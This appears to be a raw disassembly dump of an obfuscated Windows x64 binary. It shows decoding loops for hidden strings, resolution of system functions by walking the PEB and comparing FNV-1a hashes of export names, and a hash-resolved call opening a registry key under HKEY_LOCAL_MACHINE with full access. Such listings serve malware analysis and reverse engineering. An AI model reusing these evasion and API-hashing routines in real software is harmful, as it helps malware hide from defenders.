movabs rdx, 0x7af3a63a470207ce
mov ecx, Ordinal_50
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14021a85c
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14021a616
movabs rcx, 0x63b99939ef8bb436
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7a
jmp 0x14021a8cf
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14021a642
movabs rdx, 0x4c7f8c399815609e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x52
add bl, dl
jmp 0x14021a908
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14021a2cd
movabs rcx, 0x35457f39409f0d06
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x2a
jmp 0x14021a98e
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14021a68f
movabs rdx, 0x183ceef8d34b2488
mov ecx, 0x24
jmp 0x14021a4c3
cmp rdi, rcx
jne 0x14021a6b6
movabs rcx, 0xc9fe878a78ffabc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x24
jmp 0x14021a93a
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14021a6e1
movabs rcx, 0xe9c8d4f8245e7d58
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x68
jmp 0x14021a8cf
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14021a6fe
movabs rdx, 0xc6f1c177a12cfff4
mov ecx, Ordinal_46
jmp 0x14021a444
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14021a27d
movabs rdx, 0xbb54baf77571d628
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x18
jmp 0x14021a813
mov byte [rbp + r9 + 0xf10], bl
jmp 0x14021a99d
movabs rdx, 0xa41aadf71dfb8290
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r9 + 0xf10]
add bl, dl
add bl, r8b
jmp 0x14021a882
movabs rcx, 0x987da776f24058c4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r9 + 0xf10]
lea ebx, [r8 + rcx]
sub bl, 0x5c
jmp 0x14021a908
movabs rdx, 0x292707bcd6f97ac2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4e
add bl, dl
jmp 0x14021a93a
movabs rcx, 0x406114bd2e6fce5a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x76
jmp 0x14021a8d2
movabs rcx, 0x6338283db1a14bbe
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x32
jmp 0x14021a85c
movabs rdx, 0x7a72353e09179f56
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5a
add bl, dl
movabs rcx, 0xa9e9313733d91776
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x3a
add cl, r8b
mov byte [rbp + r9 + 0xf10], cl
jmp 0x14021a859
movabs rcx, 0x9d4948be8c491cba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r12b
add r10, rsi
sub r9, rsi
jmp 0x14021a99d
movabs rdx, 0xb48355bee3bf7052
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3e
add bl, dl
movabs rdx, 0x9e4c2ab7081dedaa
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add cl, r8b
add cl, bl
add cl, dl
mov byte [rbp + r9 + 0xf10], cl
jmp 0x14021a8cf
movabs rdx, 0xc0205c3f0f7a9a1e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14021a99d
mov r8, r11
movabs rdx, 0xd75a693f66f0edb6
add rdx, r9
mov al, dl
and al, r11b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
movabs rdx, 0x92af2436dc62c3de
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x12
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0xf10], al
add r10, rsi
add rax, r10
sub r9, rax
movabs rdx, 0x8ce0a0f6c6852ef8
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0xf10], cl
add rdi, rsi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14021a98e
movabs rcx, 0xee94763fbe67414e
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x22
movzx eax, byte [rbp + r9 + 0xf10]
add rax, r10
add r9, rax
add r9, rsi
jmp 0x140219e54
movabs rdx, 0xfbb5cfb4a3e1a482
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140219e51
movabs rcx, 0x752d634cf9cce4e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x22
jmp 0x140219e41
lea rdx, [rbp + 0x1600488]
jmp 0x14021aa07
lea rdx, [rbp + 0x1026fa2]
jmp 0x14021aa07
lea rdx, [rbp + 0xf10]
lea rcx, [rbp + 0x1f8]
call fcn.14009ef00
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2da0]
call fcn.14026a60a
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14021aa3c
mov rdx, qword [rbx]
mov dword [rsp + 0x20], esi
mov r9d, r15d
mov r8d, r14d
lea rcx, [rbp + 0x2da0]
call fcn.14018c840
nop
lea rcx, [rbp + 0x2da0]
call fcn.140266950
nop
lea rcx, [rbp + 0x2da0]
call fcn.1400a3400
nop
mov rcx, rbx
call fcn.1400aacb0
mov byte [rbp + 0x6d0], Ordinal_60
mov byte [rbp + 0x6d1], Ordinal_143
mov byte [rbp + 0x6d2], 0x61
mov byte [rbp + 0x6d3], 0xf3
mov byte [rbp + 0x6d4], 0x5a
mov byte [rbp + 0x6d5], 0xf1
mov byte [rbp + 0x6d6], 0x62
mov byte [rbp + 0x6d7], 0xf7
mov byte [rbp + 0x6d8], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x6d9], 0xf5
mov byte [rbp + 0x6da], 0x5b
mov byte [rbp + 0x6db], 0xfb
mov byte [rbp + 0x6dc], WSAStartup
mov byte [rbp + 0x6dd], 0xf9
mov byte [rbp + 0x6de], 0x5b
mov byte [rbp + 0x6df], 0xff
mov byte [rbp + 0x6e0], r15b
mov byte [rbp + 0x6e1], 0xfd
mov byte [rbp + 0x6e2], 0x59
mov byte [rbp + 0x6e3], 0xe3
mov byte [rbp + 0x6e4], Ordinal_79
mov byte [rbp + 0x6e5], 0xe1
mov byte [rbp + 0x6e6], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x6e7], 0xe7
mov byte [rbp + 0x6e8], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x6e9], 0xe5
mov byte [rbp + 0x6ea], 0x7f
mov byte [rbp + 0x6eb], 0xeb
mov byte [rbp + 0x6ec], 0x7a
mov byte [rbp + 0x6ed], 0xe9
mov byte [rbp + 0x6ee], Ordinal_79
mov byte [rbp + 0x6ef], 0xef
mov byte [rbp + 0x6f0], 0x7a
mov byte [rbp + 0x6f1], 0xed
mov byte [rbp + 0x6f2], 0x88
mov byte [rbp + 0x6f3], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x6f4], 0x84
mov byte [rbp + 0x6f5], Ordinal_211
mov byte [rbp + 0x6f6], Ordinal_217
mov byte [rbp + 0x6f7], Ordinal_217
xor eax, eax
mov qword [rbp + 0x6f8], rax
mov bl, byte [rsp + 0x50]
call fcn.1402682a8
mov rdi, qword [rax]
call fcn.1402682b0
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x30
jae 0x14021b71a
movzx r8d, byte [rbp + r9 + 0x6d0]
mov rdx, r8
cmp rdi, r9
ja 0x14021b711
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14021abf8
movabs r11, 0xa56801fc54f0c73e
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x4e
jmp 0x14021ac3c
je 0x14021b690
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14021b608
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14021b5db
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14021b590
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14021b53f
movabs r11, 0xa56801fc54f0c73e
cmp r10, r9
ja 0x14021b708
lea rax, [r10 + 0x5a]
cmp rdi, rax
jae 0x14021ac62
movabs rdx, 0x918829b2f7c05816
mov ecx, 0x33
jmp 0x14021ae77
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14021b52e
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14021b50b
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14021b4e5
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14021b4bf
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14021b49c
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14021b1ba
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14021b199
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14021b173
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x14021b150
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x14021b13c
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x14021b119
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14021b0f6
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14021b0e4
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x14021b0c1
lea rax, [r10 + 0x61]
cmp rdi, rax
je 0x14021b0ad
lea rax, [r10 + 9]
cmp rdi, rax
je 0x14021acb0
lea rdi, [r10 + 5]
lea r10, [rdi + 0x20]
lea rax, [r10 + 9]
cmp rdi, rax
jb 0x14021b6e5
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x14021b6c2
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x14021aeb1
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x14021ae8e
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x14021ae68
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x14021b08c
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x14021b06b
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x14021b01c
lea rax, [r10 + 0xa]
cmp rdi, rax
jb 0x14021aff2
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x14021acb0
lea rdi, [r10 + 0x3e8]
lea r10, [rdi + 0x64]
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x14021afde
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x14021afbd
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x14021af9c
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x14021af88
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x14021af65
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x14021af41
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x14021af1e
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x14021aefb
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x14021aed7
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x14021acb0
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 3]
jmp 0x14021acb0
movabs rdx, 0xcf7914021ebc2eaa
mov ecx, reloc.WLDAP32.dll_Ordinal_45
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14021aca3
movabs rdx, 0x84a9100974daa02e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x42
add bl, dl
jmp 0x14021ac3c
movabs rdx, 0x39d90c10caf911b2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14021abc0
movabs rdx, 0x8c414d97be02c0b0
mov ecx, Ordinal_26
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14021b55b
movabs rcx, 0x4171499f14213234
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6c
jmp 0x14021b585
movabs rcx, 0xf6a145a66a3fa3b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x14021b588
movabs rdx, 0xabd141adc05e153c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14021b5ac
movabs rcx, 0x61013db5167c86c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r15b
jmp 0x14021b5d6
movabs rdx, 0x163139bc6c9af844
mov ecx, reloc.WS2_32.dll_select
jmp 0x14021b4ce
movabs rdx, 0xcb6135c3c2b969c8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x78
jmp 0x14021b4b8
movabs rdx, 0x809131cb18d7db4c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
jmp 0x14021b0dd
movabs rdx, 0x35c12dd26ef64cd0
mov ecx, Ordinal_41
jmp 0x14021b37c
movabs rcx, 0xfab923e4c642689a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x36
mov byte [rbp + r9 + 0x6d0], bl
jmp 0x14021b6ba
movabs rdx, 0xafe91fec1c60da1e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp r10, 9
jb 0x14021b00f
movabs rcx, 0xe770ca89d7ef62b4
add rcx, r9
mov al, cl
and al, r8b
mov edx, 0xa
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x14021b55d
movabs rdx, 0x65191bf3727f4ba2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6e
jmp 0x14021b218
movabs rdx, 0x1a4917fac89dbd26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xa
jmp 0x14021b1dd
movabs rdx, 0x6930fa31ce821084
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x14021b37c
movabs rdx, 0x1e60f63924a08208
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x38
add bl, dl
jmp 0x14021b65b
movabs rdx, 0xd390f2407abef38c
mov ecx, r12d
jmp 0x14021b298
movabs rcx, 0x88c0ee47d0dd6510
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x70
jmp 0x14021b5f6
movabs rcx, 0x3df0ea4f26fbd694
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xc
jmp 0x14021b5d6
movabs rdx, 0xf320e6567d1a4818
mov ecx, Ordinal_46
jmp 0x14021af50
movabs rcx, 0xa850e25dd338b99c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x44
jmp 0x14021b588
movabs rdx, 0x5d80de6529572b20
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14021b585
movabs rdx, 0x12b0da6c7f759ca4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7c
jmp 0x14021b55b
lea rax, [r10 + 6]
cmp rdi, rax
jae 0x14021b256
lea rdx, [r9 + r11]
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 0x80
je 0x14021b471
lea rax, [r10 + 0x40]
cmp rdi, rax
jbe 0x14021b2fa
movabs rdx, 0x69c879203d5f79c6
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6a
add bl, dl
cmp rdi, 0x1000
jae 0x14021b44b
lea rax, [r10 + 1]
cmp rdi, rax
jbe 0x14021b393
movabs rcx, 0xfb50a2d3351fd1dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x14021b03d
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14021b282
movabs rcx, 0x23105365ef80b02c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x14021b6ab
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14021b2ad
movabs rdx, 0xb8b05b574343cd24
mov ecx, r14d
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14021b4b8
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14021b2d9
movabs rcx, 0x3805f4fed255ba0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x60
jmp 0x14021b5f6
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14021b1df
movabs rdx, 0x4e5063489706ea1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x14021b4f4
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14021b317
movabs rdx, 0xb4987d18e7410842
mov ecx, Ordinal_26
jmp 0x14021aee6
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14021b343
movabs rcx, 0xff688111912296be
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x32
jmp 0x14021b585
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14021b360
movabs rdx, 0x95088902e4e5b3b6
mov ecx, 3
jmp 0x14021af50
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x14021b21a
movabs rdx, 0xb189cde364d7c22
mov ecx, 9
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14021b6ab
jne 0x14021b3b8
movabs rcx, 0x4620a6cbdf016058
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x14021b6ab
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14021b3e2
movabs rdx, 0xdbc0aebd32c47d50
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x14021b4b8
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14021b3ff
movabs rdx, 0x2690b2b5dca60bcc
mov ecx, gethostname
jmp 0x14021b4ce
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14021b42a
movabs rcx, 0xbc30baa7306928c4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5c
jmp 0x14021b5ae
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x14021b03d
movabs rdx, 0x9ca0c6912e0dd438
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x14021aee6
movabs rdx, 0x3240ce8281d0f130
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x6d0]
sub bl, al
sub bl, 0x50
jmp 0x14021af5d
movabs rdx, 0x7d10d27b2bb27fac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x6d0]
add bl, dl
jmp 0x14021b626
movabs rdx, 0x9d38457f9ceb3d7a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x56
add bl, dl
jmp 0x14021b629
movabs rdx, 0x52684186f309aefe
mov ecx, 7
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14021b5f6
movabs rdx, 0x7983d8e49282082
mov ecx, reloc.WS2_32.dll_gethostname
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14021b5d6
movabs rdx, 0x71f8359cf565038a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14021b588
movabs rdx, 0xdc582daba1a1e692
mov ecx, esi
jmp 0x14021aee6
movabs rdx, 0x46b825ba4ddec99a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x36
add bl, dl
movabs rdx, 0x8cd8cc862ce029f2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x6d0], cl
add r10, rsi
sub r9, rsi
jmp 0x14021b6ba
movabs rdx, 0x664819d0503a1e26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xa
add bl, dl
movabs rcx, 0xd7a8d07ed6c1b86e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, bl
add r8b, cl
sub r8b, r14b
mov byte [rbp + r9 + 0x6d0], r8b
add rdi, r10
jmp 0x14021b5f6
movabs rcx, 0xd0a811defc77012e
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x42
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14021b6ba
mov r8, rdx
movabs rcx, 0x85d80de6529572b2
add rcx, r9
and dl, cl
mov eax, reloc.WS2_32.dll_recvfrom
sub al, dl
lea ebx, [rax + rax]
add bl, cl
add bl, r8b
movabs rdx, 0x2278d47780a346ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x66
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x6d0], al
add r10, rsi
add rax, r10
sub r9, rax
movabs rcx, 0xc7e0d673d5940e28
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x18
add r8b, cl
mov byte [rbp + r9 + 0x6d0], r8b
add rdi, rsi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14021b6ab
movabs rcx, 0xf03805f4fed255ba
add rcx, r9
mov al, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, r12b
movzx eax, byte [rbp + r9 + 0x6d0]
add rax, r10
add r9, rax
add r9, rsi
jmp 0x14021abad
movabs rcx, 0xef09081821178336
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x7a
jmp 0x14021abaa
movabs rcx, 0xa439041f7735f4ba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r12b
jmp 0x14021ab9a
lea r12, [rbp + 0x145e478]
jmp 0x14021b721
lea r12, [rbp + 0x136abb6]
jmp 0x14021b721
lea r12, [rbp + 0x6d0]
mov r10, qword [0x14044bbc0]
test r10, r10
jne 0x14021b88b
mov esi, r13d
mov r14d, 0xeced0b92
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14021b79d
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14021b790
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14021b781
cmp edx, esi
jne 0x14021b86f
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x14021b86f
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x14021b86f
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [r9 + r10*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14021b7f1
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14021b7e6
cmp edx, r14d
je 0x14021b807
test r10d, r10d
jne 0x14021b7d1
jmp 0x14021b86f
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x14021b884
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x14021b884
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x14021b862
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x14021b83e
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x14021b855
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14021b881
cmp qword [rbx + 0x30], r13
jne 0x14021b751
mov r10, r13
mov qword [0x14044bbc0], r10
mov qword [rsp + 0x40], r13
lea rax, [0x14044b488]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
mov rcx, 0xffffffff80000002
call r10
mov rdx, qword [0x14044bb38]
test rdx, rdx
jne 0x14021ba28
mov esi, r13d
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
mov r15d, 0x811c9dc5
test esi, esi
je 0x14021b93e
mov rdx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rdx + rax*2]
mov r8d, r15d
jmp 0x14021b930
movsx eax, byte [rdx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x14021b91f
cmp r8d, esi
jne 0x14021ba17
mov r10, qword [rcx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x14021ba17
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x14021ba17
mov edi, dword [r11 + 0x20]
mov r12d, 1
dec ebx
lea r8, [r10 + rbx*4]
mov r9d, dword [r8 + rdi]
add r9, r10
mov r8d, r15d
jmp 0x14021b996
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r12
test dl, dl
jne 0x14021b989
cmp r8d, r14d
je 0x14021b9ab
test ebx, ebx
jne 0x14021b977
jmp 0x14021ba17
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r11
jbe 0x14021ba1f
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x14021ba1f
mov esi, r15d
mov r14d, r15d
jmp 0x14021b9e8
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14021b9da
jmp 0x14021b9fd
